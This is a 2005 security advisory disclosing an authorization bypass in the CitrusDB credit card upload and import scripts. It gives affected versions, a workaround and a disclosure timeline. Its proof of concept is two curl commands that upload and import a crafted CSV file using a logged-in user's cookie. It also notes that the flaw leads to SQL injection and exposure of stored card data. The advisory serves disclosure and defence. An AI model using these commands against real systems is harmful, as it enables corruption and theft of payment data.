> Advisories > rt-sa-2005-003 vertical divider

Upload Authorization bypass in CitrusDB

RedTeam found an authorization bypass vulnerability in CitrusDB which results
in upload of fake credit card data, SQL-Injection and disclosure of credit
card data.

Details
=======

Product: CitrusDB
Affected Version: 0.3.6 (verified), probably <=0.3.6
Immune Version: none (2005-01-30)
OS affected: all
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: http://www.citrusdb.org 
Vendor-Status: informed 
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2005-003
Advisory-Status: public 
CVE: CAN-2005-0409
(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0409#)

Introduction
============

Description from vendor:
"CitrusDB is an open source customer database application that uses PHP and a
database backend (currently MySQL) to keep track of customer information,
services, products, billing, and customer service information."

In the credit card data upload/import scripts it is only checked whether or
not a user is logged in but no privilege check is done.

More Details
============

In ./citrusdb/tools/importcc.php and ./citrusdb/tools/uploadcc.php no
authorization is done. Any logged in user (or in combination with
CAN-2005-0408 anybody) may upload a cvs file containing credit card data. He
also gets knowledge of the path to the temporary file that stores the
uploaded credit card data and may fetch additional uploaded credit card data
(compare CAN-2005-0229) if the file is accessible via http. Additionally he
may perform an SQL-Injection (compare CAN-2005-0410).

Proof of Concept
================

This uploads the file exploit.cvs.

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form
userfile=@exploit.cvs --form Import=Import

Note: The cookie has to be adjusted to an existing user.

This imports the file to the credit card database:

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"

Note: The cookie has to be adjusted to an existing user.
No data will be imported if the cvs file is empty, the administrator probably
wouldn't notice that the temporary file is now empty but the attacker gets
the path to the temporary file and may access data that is uploaded in the
future if the path is inside document root (see CAN-2005-0229).
An SQL-Injection is also possible (see CAN-2005-0410)

Workaround
==========

Disable the upload of cvs data, e.g. by setting the path for the temporary
cvs file ($path_to_ccfile) to a non-writeable directory.

Fix
===

n/a

Security Risk
=============

The security risk is high because an attacker may corrupt important (credit
card) data and an attack is very easy to perform.

History
=======

2005-02-04 Email sent to author 
2005-02-12 CVE number requested 
2005-02-14 posted as CAN-2005-0409
2009-05-08 Updated Advisory URL

RedTeam
=======

RedTeam is a penetration testing group working at the Laboratory for
Dependable Distributed Systems at RWTH-Aachen University. You can find more
information on the RedTeam Project at
http://www.redteam-pentesting.de